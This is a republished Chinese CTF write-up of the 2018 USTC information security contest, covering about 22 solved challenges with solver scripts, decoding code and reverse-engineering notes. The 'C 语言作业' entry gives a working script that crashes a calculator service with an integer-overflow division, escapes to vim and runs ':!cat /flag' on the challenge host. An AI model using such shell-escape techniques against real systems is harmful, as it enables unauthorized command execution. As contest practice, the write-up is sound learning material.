前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >玩 中国科学技术大学第五届信息安全大赛(writeup)

玩 中国科学技术大学第五届信息安全大赛(writeup)

作者头像
用户5878089
发布2019-07-25 16:20:47
1.5K0
发布2019-07-25 16:20:47
举报

Soha大佬授权转载,原文链接

https://soha.moe/post/ustc-ctf-2018-writeup.html#title2-index-22

今天偶尔看见了这个来自 USTC 的 CTF 比赛,就玩了一下。

https://hack.ustclug.org/

前言

这是我第一次打 CTF,啥经验都没有。也发现自己基础很差,真正感受到了知识储备的重要性,我的知识储备对我解题速度的降低起了很大作用呢。

这里列出的题解都是我在实际答题过程中打通一个写一个这样写下来的,所以还有一些我没做过的题目请移步官方的 writeup。

最后得分: 4150

最后排名: 全场第8,“其他”组第7

0x01 签到题

只要修改maxlength然后提交就好啦。

0x02 猫咪问答

真·搜索就行了

0x03 游园会的集章卡片

我真的是拼出来的。

0x04 Word 文档

提到了 Office 07 引入的船新格式。这个格式是以 zip 包的形式储存数据。解压可见 flag.txt,然后去掉所有换行就拿到了flag。

0x05 黑曜石浏览器

在页面上找了半天没找到相关的资料。后来利用搜索引擎找到了

https://heicore.com

,可以在页面中找到一个判断黑曜石浏览器的 UA,用它就对了。

0x06 我是谁.哲学思考

玩 CTF 习惯性开着开发者工具的我一眼就看出了 Network 里面的不对劲。

填入 teapot 搞定

0x07 我是谁."Can I help me?"

根据第一根 flag 提供的 url,建议我们使用别的 method 来请求。既然说到 brew tea,说到 teapot,那肯定是 RFC 7168 啦。( HTCPCP-TEA 真好玩!)

读一读 RFC 7168 就可以写出下面这个 payload:

BREW /the_super_great_hidden_url_for_brewing_tea/ HTTP/1.1

Content-Type: message/teapot

然后接着请求 Alternates 里面提供的 url。

BREW /the_super_great_hidden_url_for_brewing_tea/black_tea HTTP/1.1

Content-Type: message/teapot

嗯……给大佬递茶……

0x08 猫咪克星

用人的手速肯定不行(但我还是天真的用手来了几次),所以我专门写了个 Python 程序来做题。刚开始觉得很简单就是个eval,后来发现太狡猾了他们,还有 exit() , sleep(100) 这种万恶的语句来让我们的 eval 爆炸。

机智的我使用了替换大法!最后的程序是这样的

from socket import *

tcpClient=socket(AF_INET,SOCK_STREAM)

tcpClient.connect(("202.38.95.46",12009))

while True:

data=tcpClient.recv(1024).decode(encoding="utf-8")

print(data)

try:

if "flag{" in data:

exit()

result=eval(data.replace("exit()","0").replace("sleep(100)","sleep(0)"))

rtn=str(result)+"\n"

print(rtn)

tcpClient.send(rtn.encode(encoding="utf-8"))

except Exception as e:

pass

tcpClient.close()

拿到了!

0x09 回到过去

就是把下载下来的 input_sequence 在 ed 里面敲了一遍…… (大力出奇迹)

0x0a 猫咪电路

就是一个逻辑电路分析。只要最左边输出1就好了。

0x0b 猫咪和键盘

这是一个将程序源码纵向切割后打乱形成的文件。我也写了个程序来帮我恢复原状。

with open("typed_printf.cpp","r") as f:

lines=f.readlines()

for line in lines:

seg1=line[0:1]

seg2=line[1:7]

seg3=line[8:20]

seg4=line[20:22]

seg5=line[22:32]

seg6=line[32:39]

seg7=line[39:-1]

print((seg1+seg6+seg2+seg4+seg3+seg5+seg7)

恢复原样后按照注释里的指令编译并没有通过。后来查了一下是因为我的 g++ 是 6.3.0,而如果想要成功编译则需要 7+ 的 g++。于是我打开了洛谷的在线IDE。

又拿到一个flag。

0x0c 她的诗

的确可以一眼看出来这个 uuencode 编码的诗。但是 Python 解出来的就是正常的诗。这里面肯定有什么玄机,我就把整个诗再给逐行转回去了,发现二次转换并没有还原成最初的文本。那么这里面肯定有什么奇奇怪怪的套路了。后来找来找去,发现每一行的第一个字符被 -1 了。所以原本放在行尾的flag被“隐藏”起来了。把它给倒腾回去,然后就发现flag都藏在行尾。

0x0d 猫咪遥控器

下载 seq.txt 之后是一堆由U/D/L/R组成的字符串,四个字符分别代表上下左右。把它画出来就好了。

我选择的是将它转成了一个 LOGO 程序然后画出来了。

0x0e 她的礼物

首先下载 gift 文件。执行后随便传个参数进去发现会出现这个消息:

Error code [2333]

Running this program for too long is unhealthy for your computer.

Please contact your administrator for details.

我直接反编译找到了相关的内容。

直接对程序进行了一波魔改,删掉了 too long 那个 alarm,以及干掉了没用的 printf。然后坐等233333次程序执行完成拿到flag。

0x0f 秘籍残篇.滑稽Art

打开 malbolge.txt 后首先感觉这个空格有点儿小优雅。于是我不断缩小……

flag get!

0x10 猫咪银行

这居然是这么后面解出来的。

当时看到 PHP 还以为是弱类型坑啊什么的研究了半天,今天上课老师讲了溢出我才意识到还有这一招。

一个大数字就让取出时间变成了公元前。

然后直接取出买 flag 就行啦!要是现实当中也有这么多钱就好了。

0x11 数理基础扎实的发烧友

拿到压缩包打开发现是张图片和一个隐写程序。bmp图片上大大的DSD,一看就是图片给藏了一个音频文件了。又用 Ps 拉了一下曲线,很明显有数据藏着嘛。

我又反编译了一下 stegan.exe 看了两眼也大概了解了隐写过程。我比较菜,并不知道到 bmp 图片上那个就是 Delta-Sigma Modulate,这是后来才发现的。

那么就从这里入手对图片进行处理,剥离出数据部分然后就得到了 DSD 的二进制数据。

网上搜了一份比较常用的 DSD 音频格式 DSF 的文档,给这些二进制流数据加上文件头使之成为一个成熟的音频。

然后用 ffmpeg 给他转换回 wav 格式的文件。怎么从音频文件中解出数据是个关键。我在这里卡了俩小时。因为最初的没有把采样频率转到 44.1kHz 的时候,在 70kHz 的频谱上有些空格有音频有些空格是空的,所以我最初以为是一串二进制什么的然后通过 ASCII 拿到 flag。然后就这么闷头撞了一个多小时的墙。

后来转了采样频率之后才发现 600-1.5kHz 这里别有洞天啊!不得不说先入为主思想的确不是个好东西。它让我在“猫咪银行”卡了好久,现在又让我在这里卡了半个小时。为什么这么说呢?因为之前我以为是二进制串,我脑子没转过来,继续尝试在 0.6-1.5kHz 种找出二进制串,找了半天规律。听着听着,发现这个音频里的声音怎么这么耳熟呢?每一块怎么就这么恰巧是两个音呢?我一拍大腿,妈呀,这是 DTMF (Wikipedia) 啊!然后就只要根据每一块的音翻译出来就好了。

根据 DTMF 信号翻译出来的是这个东西。

102#108#97#103#123#102#105#114#101#95#119#97#116#101#114#95#110#117#99#108#101#97#114#125

刚翻译到第四个 # 的时候,我就觉得这是 ASCII 的十进制表示。也的确是这样,按 # 分割然后用 ASCII 翻译出来了这个玩意儿:

flag{fire_water_nuclear}

火电、水电、核电,给你不一样的 Hi-Fi 体验。

0x12 加密算法和解密算法

解压后阅读了 html 文件中的内容,大概意思是,加密算法的核心是用 BrainFuck 写的。加密过程是,先把字符串按每个字符换成其在 base64 中的顺序,然后丢给 BrainFuck 作处理后再丢回来,再重新通过 base64 折成字符串。

我读完 BrainFuck 之后首先先将加密程序用 js 改写了一次,方便我愚笨的脑子理解。

let stringMap='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';

let magicThings=[

[ 23, 46, 21, 16, 35, 17, 34, 19, 12, 38 ],

[ 05, 03, 16, 27, 22, 00, 15, 38, 55, 14 ],

[ 40, 40, 63, 05, 02, 51, 10, 52, 41, 43 ],

[ 61, 54, 33, 53, 43, 46, 52, 08, 04, 59 ],

[ 47, 31, 60, 37, 04, 37, 27, 49, 39, 55 ],

[ 21, 23, 26, 17, 36, 44, 19, 07, 62, 10 ],

[ 62, 54, 39, 24, 03, 11, 38, 36, 48, 50 ],

[ 09, 11, 32, 61, 22, 13, 15, 40, 01, 18 ],

[ 18, 00, 48, 23, 58, 07, 30, 60, 21, 36 ],

[ 17, 05, 39, 50, 37, 18, 04, 45, 02, 13 ]

];

let finalAddition=[ 2, 6, 8, 8, 3, 5, 5, 7, 4, 9 ];

let str2num=str40=>str40.match(/.{1,10}/g).map(chunk=>chunk.split('').map(c=>stringMap.indexOf(c)));

let num2str=arr_4=>arr_4.map(a=>a.map(v=>stringMap[v]).join('')).join('');

let encode=function (data){ //data=[16, 20, 8, 2, 10, 63, 1, 17, 14, 22]

let encoded=[0,0,0,0,0,0,0,0,0,0];

for(let i=0;i<10;i++){

for(let j=0;j<10;j++){

encoded[j]+=data[i]*magicThings[i][j];

}

}

return encoded.map((v,i)=>(v+finalAddition[i])%64);

};

console.log(num2str(str2num("QUICK_BROWN_FOXES_JUMP_OVER_THE_LAZY_DOG").map(v=>encode(v))));

因为我几乎没有任何密码学知识,我写出这段 js 后并不知道这是个啥算法。我只根据这个分析出来,解这个需要线代知识。刚上大学,之前也没学过相关知识,于是我在网上查有关矩阵知识的时候发现了 Hill cipher (希尔密码) 这个玩意儿。一看定义,这不就是这个加密算法的基础!magicThings 里面存储的就是密钥矩阵!可惜我因为没有背景知识,并看不出来这些,还把密钥矩阵叫成了“magicThings”,倘若我有这些基础知识铺垫的话,我在题面提到“将原文分为四段,每段长度为十”的时候应该就能猜出这是希尔密码了。

为了方便我默默拿出 CrypTools,输入密钥矩阵解密。CrypTools 似乎有个 bug,就是不管你选的是 {row vector} * {matrix} 还是 {matrix} * {column vector},它使用的都是后者。因此我在输入密钥的时候自己来了个行列转置。

咦?怎么解密出来的东西奇奇怪怪的?原来是我忘了还有个 finalAddition。将密文预处理后重新解密,就获得了正确的 flag。

0x13 王的特权

从题面我还真没看出啥。直接打开 IDA。

一眼看到有个 StrSearcher,上面参数是 unk_51A64。

.rodata:0000000000051A64 unk_51A64 db 73h ; s ; DATA XREF: b::main::h68e9c4d0c5168d89+66↑o

.rodata:0000000000051A65 db 75h ; u

.rodata:0000000000051A66 db 64h ; d

.rodata:0000000000051A67 db 6Fh ; o

找“sudo”字符串?当时就想到了重命名。

还以为是啥高端玩法,所以一直放着没做。没想到其实这么简单。这道题我是第十个过的,为什么没人过大概也是因为没人觉得这道题目会这么简单?

0x14 "C 语言作业"

载 calc,这个肯定是反编译了。打开 IDA 发现 main 函数十分正常,各种输入也安全。

看函数列表发现有个 __init ,于是点进去看了,发现注册了一系列信号触发事件,触发的是 __err ,这个函数是这样的。

触发事件很简单,只要让计算崩溃就好了。于是我选择了 -2147483648/-1 。

嗯……这里提供了一个运行外部程序的功能,但是 sh 被屏蔽了,而且用了 execlp 所以不能传参数,也没有可以缓冲区溢出的漏洞。于是中午我试了一下 vi emacs 等编辑器,发现它们都不存在。于是一时解题陷入了僵局。

于是我的一整个下午和晚上都在各种查资料各种测试,尝试从 calc 层面搞定(没有切入点,这当然是徒劳的)。

直到我洗完澡后不死心又试了一个 vim ……

居然还真有……

我tm浪费了大半天的时间,就因为我中午偷懒了没试 vim 存不存在???

行吧栽在了自己手里。

现在手速有点不够用了,于是我拿出了 py。

from socket import *

tcpClient=socket(AF_INET,SOCK_STREAM)

tcpClient.connect(("202.38.95.46",12008))

while True:

data=tcpClient.recv(1024)

if len(data) is 0:

exit()

data=data.decode(encoding="ascii")

print data

try:

if 'flag{' in data:

exit()

if ">>>" in data:

tcpClient.send("-2147483648/-1\n".encode(encoding="ascii"))

if "examine" in data:

tcpClient.send("vim\n".encode(encoding="ascii"))

tcpClient.send(":!cat /flag\n".encode(encoding="ascii"))

tcpClient.send(":!cat /flag\n".encode(encoding="ascii"))

tcpClient.send(":!cat /flag\n".encode(encoding="ascii"))

except Exception as e:

pass

tcpClient.close()

然后通过 vim 里敲的 :!cat /flag ,这坑爹玩意儿居然说 The real flag is in the file "-" !

行吧,把 /flag 改成 /- 再来一次。解决。

0x15 "FLXG 的秘密".来自未来的漂流瓶

文中说了“他们再以四千年前的伏羲先天六十四卦将程序编码”,对64应该敏感点。所以按照 Wikipedia 里面从左到右的顺序,依次替换成 base64 的字符。我使用了下面的 js 来帮我:

let fs=require('fs');

let xianTian64Gua=[

"坤","剥","比","观","豫","晋","萃","否",

"谦","艮","蹇","渐","小过","旅","咸","遁",

"师","蒙","坎","涣","解","未济","困","讼",

"升","蛊","井","巽","恒","鼎","大过","姤",

"复","颐","屯","益","震","噬嗑","随","无妄",

"明夷","贲","既济","家人","丰","离","革","同人",

"临","损","节","中孚","归妹","睽","兑","履",

"泰","大畜","需","小畜","大壮","大有","夬","乾"

],base64Map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';

let flxg=fs.readFileSync('flxg.txt').toString();

xianTian64Gua.forEach((v,i)=>flxg=flxg.replace(new RegExp(v,'g'),base64Map.charAt(i)));

fs.writeFileSync('newFlxg.bin',Buffer.from(flxg,'base64'));

习惯性看了一眼hex的头和尾。flag 清晰可见。

0x16 "困惑的 flxg 小程序"

打开程序不管输什么看起来都没做过任何事情的样子。

直接开 IDA 上反编译!

通过查找 flxg 找到了这里,似乎在参数格式刚好等于 60 个的时候会触发一个 Exception……难道是这里?试一下!

的确!就是这里!找到这部分代码,然后让 IDA 帮我们生成伪代码。

可以看到这里对用户输入转为 base64 后再进行反转了以后做了一波异或,再和系统里面存储的一个字符串进行比对。因此用 s[i] = i^s[i] 把 unk_7FF75AA154D8 这里存储的长度为 56 的字符串转回 base64。就可以得到 flag 啦!

验证一下。

开心!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云开发 CLI 工具
云开发 CLI 工具(Cloudbase CLI Devtools,CCLID)是云开发官方指定的 CLI 工具,可以帮助开发者快速构建 Serverless 应用。CLI 工具提供能力包括文件储存的管理、云函数的部署、模板项目的创建、HTTP Service、静态网站托管等,您可以专注于编码,无需在平台中切换各类配置。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档